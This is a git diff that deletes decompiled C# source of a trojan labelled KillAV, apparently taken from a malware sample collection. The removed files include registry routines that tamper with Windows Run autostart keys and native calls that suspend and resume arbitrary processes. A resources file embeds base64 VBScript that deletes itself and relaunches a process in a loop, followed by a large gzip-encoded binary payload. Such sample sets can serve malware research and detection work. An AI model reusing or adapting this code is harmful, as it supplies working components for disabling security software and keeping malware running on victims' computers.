C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs deleted file mode 100644 index 4d16d3b6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettingsProperty -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs deleted file mode 100644 index 24a2e26d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/Resources/Resources.cs +++ /dev/null @@ -1,56 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.Resources.Resources -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace n.My.Resources -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null)) - n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly); - return n.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => n.My.Resources.Resources.resourceCulture; - set => n.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] HWD => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (HWD), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture)); - - internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture); - - internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs deleted file mode 100644 index 4b052b48..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NK.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NK -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; - -namespace n -{ - [StandardModule] - public sealed class NK - { - public static string Key = "HKEY_CURRENT_USER\\Software\\nKey"; - public static Registry R; - - public static void SetValue(ref string N, ref string V) => Registry.SetValue(NK.Key, N, (object) V, RegistryValueKind.String); - - public static string GetValue(ref string N, ref string DF) - { - string Left = Conversions.ToString(Registry.GetValue(NK.Key, N, (object) null)); - return Operators.CompareString(Left, (string) null, false) == 0 ? DF : Left; - } - - public static void DeleteValue(ref string N) - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - string name = NK.Key.Replace(Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""); - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(N); - } - - public static void CLEAR() - { - string su = B.SU; - B.SU = "*"; - if (Operators.CompareString(su, "*", false) != 0) - { - try - { - Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) checked (Instance.Length - 1) - }, (string[]) null)), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs deleted file mode 100644 index 6130efdc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/NTSuspendProcess.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.NTSuspendProcess -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace n -{ - [StandardModule] - internal sealed class NTSuspendProcess - { - [DllImport("ntdll.dll")] - private static extern bool NtSuspendProcess(IntPtr hHandle); - - [DllImport("ntdll.dll")] - private static extern bool NtResumeProcess(IntPtr hHandle); - - public static bool SuspendProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtSuspendProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static bool ResumeProcess(int ID) - { - bool flag; - try - { - flag = NTSuspendProcess.NtResumeProcess(Process.GetProcessById(ID).Handle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx deleted file mode 100644 index 231a26d0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Resources.resx +++ /dev/null @@ -1,629 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1fY/t//vO+MHD/o1/j1/pdf8Nf - 8zf4NX6NnV9DEKNn+YL+Sen/fwD++j3l91/Lfm1//hp/kXz+a/CP3/MP/zV+jd+M/+d+2h/8/FYE97v4 - 5Q8IP7fPH/Rr/Bq/Uezzm5701/g1fgPvz9+A/v629/e4zd+19LMdS1seq+JtHvr4DxjXTT39NRS3P0Db - 7IXtfk/637jOy2qquP5B2m6/1+5J+AnR/4X8/PavgVd+3V/j13hENPmtfo1f49fsNrzl8wt+mz+IXv11 - vvVb7vw6AAU4v/mvtUUclvxaP5PQF7/Nb7P16+CP3/6Pp79+zeTX+21qarH6S36937b+Xfnnb1ff55+/ - 5DcGlF/j1/gtd36tX+PVr8HD+c0b+ufX+42a34n+/Y1/7Df4JYTlr/Njv/v/9ev/zvR3Q5gnza9H/yS/ - 3q9X/fr08zegb34DfPMb4Jsfo39+w1+/oj6TT36933brN6Sfv+32r1T4BAgy8Jv/Vr/hb/Fr/tpbRMFf - D/8kySe/xq9H4/g1f43f5Ndg/vrNf+3v/DSQ//V+mr/5NX6N33Hn1/41/mL6jvr+zbcI3+S3/HV/m9/y - 1/lk8Zv/ur/5r/PnJL9Lwt38Wr8YI/ktf/3f5rf89T45/c1//d/81/tzfsNfryKISfWb0j+/Pv/722z9 - Zvj33u/y61W/Of3yO9yjMfwW9Mt/8Jv87lu/Jf38jbZ+K/z1a/zmv95v+2/8lr/eb/7r/ea//p/wd+79 - rb/5r0N//Tq/+a/zm/+69Ncfa9r+xto2/aPoL8bg4A/4v//v//tbmIvfDjP07Nf4zb/7a/wmv6lO8R/6 - h8rvv+POr/9r/C1ENyLhb/5LMYOjX/fgL6e/01/+ayqYLcLo10t+q9/yt/gtfouahHb1W/6Wv8Vv6YjF - hPlt/69fs/5j6aut3xrD+XOq34Z+/Fa/5W/1W/xW8sJv/Vv81vLCb0uf//4P/3fq/rf6LX+b3+K3kW9/ - 29/it+Vvf8Pf4tf6v35rgvZr/fq/xa+1ReT49X7hr2Ub/Hq/7R9P6Pyav+Xv8Jv/Dr/Nb/9b/va/+W// - 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 - 9wCf/Lq/Rkn/PiXn7cd/6a/xa/xN9PP3xu+v27pYXjRo8RtQZ3NSQD/+1etfY/WbyzrVj3/+1dlT+vkH - 0d9/Gr57UlaTX0Me+vPX/O5nv9Zv9WP0y6/xv/+a95BQQO+kc7D2wGsxlPn4NT6m/wOFRD//tfV3vIa8 - xq/pff5r/Bo/8evLCH69X+OI3vpNfo3Xv+bTX/O3+DXqX/P3/zV/vV/jr/k1/2z692/+NR/Qt3/vr/U3 - /lq/3q/x/NfG73/Jr41v/8Nf+x/8tX+9X+N/509+zV8HLVP+d+/XeUCofe/XOf11fr1fY0G/J7/GP/Lr - /Lm/zm/za/w79Enya/xav+6fS5/Pfl18/tP0e/Jr/BH871/y6/6W9MlfQ//+Dr/Gf/nr/iu/7u/wa/ze - v96/8uv+er/GX/3r/TG/XvJr/Du/Ht76X+j3X+/X+A1+ffz7W/766P0e/QvsZQy/Jv/3m/0ad36NT4j+ - /Nev+Zv9Gtv812/ya/yGv0ZCzXaYSr8Z9QJ63P81MFO/Ff1FvtWvsfq15a/f6df4zWnl7Hf8NX7iD/pj - iZo/8Qf9Rfzv387//lP877/N//5P/O+v+2vi39+R/v31fo3f59f8Lr37g1/ze/TvL/k1f3/C4A//NSf0 - 7fWvhTZ/zK+FNj/5a+Pf7/G/vz//m/O/v+TX/u9+jZcpxvGb/3anv8ZvSe/+3vzXr/fbPf81flsd4R/0 - a/w26Ve/xi/w/rr7a76id/8ibvnb/Bp/0K/5WyKX9LvKjP7Rv+Y5/ZXqX3/ir1mSXnqsf/0Zv+ZvS5L7 - G3wkf93/NWr66+m35K+/89d8R3Pxmx04XH5j298//Gv+od5f/9Ov+cdzLkv++nV/rT+NuVgx+7X+PHrT - /PW9X+svp1GYv/70X+tv/zV++1/jt+Iefptf46/5tf5+orZ891um//Sv9Y94f/1nv9Y/Q+M1f/1v9Bfx - +0P8/Zv/Gr/Wr/0v/hqpfvebp7/xr/2vycD5r9/11/636K/fl1v+Nr/Gt3/t//DX+PFf49/iv4SeP64t - ged/Rn/9b953H/8a/5H89Rv8qb825hiclf0akKDi14DcQLJ/nV+j+jXALe/429/j18S/bId+jT/N+/3v - /TXxFn7/tX+Nf+DX/DXSX/PX+Ofo31/r1/i3+Nv/k//9LX4tfPLPcZvf9tfST+itw18Ln/yevxb6+pw/ - f8uf116bv9T7/d/k9v+R/cT8+3uYXqjNo1/bfPJr/Rrlr92F/xf+2se/BsZ/xv/+GP/7m9O/v+LX+H3o - 31/j1/xd6d9fj/79HX6d/4noYT75jfiT35aoPfp1fotfs/g1Hv46v/DX/EW/xtWvs0///qG/zqNf8yd+ - jT+V/v2Df41/7tc5ok/+l1/nlP79P6n9n/xr/Ca/7nd+zT/51/gFJPO//a+x8+tmv+Zv/2uc/LpzgvB7 - /7rlr/kX/xrXv279a/7Vv8af8uv+Yv73X/w1fuLX+HN/3T/o1/ybf42/69f9I+jbf+DX/ZN+zX/41/gf - ft1/lr791b/uv0Twf91f71+nT37TX+/fpd9/p1/vP6Z/79Inf/Wv8fDX+6/o9xP6/W/+NV79ev/9r/lP - /xrZr/cr6JOfpk9+81+j+fV+t1/rN/81runfv/nX+AN/vX/x1/ibf40//Nfb+rX+5V/jb/71xvTvP/Dr - 3fu1MKLxr7VLI/0O/fvPU8tdwucRj/S7v9a/zVT6j+nf81/rf+Y2v4o/+Q3ov2/R/3+jX+Mu/fub/Rr7 - 9O9vRYz7G5ClOaJ/f6df44T+TX+Nb9O/vxvZ0d/g1zj4Nf5ayOev8Tf9GuNf42/9Nctfa0zcs/61pr/G - X/prPvw1/lGSpIe/xl/0a/+G/C9+/x1/jT+W9NgfS5z7x/4av/rX+G1/zU9+zZ1f8+Wv+ef+mv/7r3nw - a335a/2+v9Yf9mv857/mya/56/8aX9G8nvyaP/Zr3KUU7TOi8D/8a/5a9Pfv+Gv8T78mPv+df43f9dfC - z9/l13jBP3/XX+N7/PPHf40//df6taj9x7/GP80/7/wa/xn//OTX+N9+Lbx/99f4jX9t/Nz9NX7XXxuf - P/g17tLnv84f9Gt0nk9Yatzza7IlYv/IPolqCb9d8ms8ZRUXvsuGtdPu9Nfpt/tXoMyJq39tks9fm/SZ - fvv4i2q2LvOjX2PRTKu6LCa/xhfFtK6a6rwd/2TRrLPySdYU01/jJ3+Nl7/G6vrXeHV68obE+/V10+aL - X+PLyU/n0/bXGE+nbVXTD/z7pPo1FtW6yX///DJftr/G7OpZmZFtn737NWbXv8b0ybptqyX9eXX6rq2z - s+V59WtQ4/re3q/xxZdfvT49/cnTF2+e/f7HT15/+fyrN6fBh89Pn715+uV3X/Q+/Opl8NEXX/5k+OIX - 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 - 